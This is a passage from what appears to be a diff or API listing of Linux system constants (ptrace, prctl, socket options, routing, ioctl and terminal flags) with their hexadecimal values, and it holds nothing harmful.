-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = 0xffffffff
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETCRUNCHREGS = 0x19
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETHBPREGS = 0x1d
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GETVFPREGS = 0x1b
-- PTRACE_GETWMMXREGS = 0x12
-- PTRACE_GET_THREAD_AREA = 0x16
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETCRUNCHREGS = 0x1a
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETHBPREGS = 0x1e
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SETVFPREGS = 0x1c
-- PTRACE_SETWMMXREGS = 0x13
-- PTRACE_SET_SYSCALL = 0x17
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- PT_DATA_ADDR = 0x10004
-- PT_TEXT_ADDR = 0x10000
-- PT_TEXT_END_ADDR = 0x10008
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x400854d5
-- TUNDETACHFILTER = 0x400854d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x800854db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x20
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80041270
-+ BLKBSZSET = 0x40041271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80041272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80046601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0xc
-+ F_GETLK64 = 0xc
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0xd
-+ F_SETLK64 = 0xd
-+ F_SETLKW = 0xe
-+ F_SETLKW64 = 0xe
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
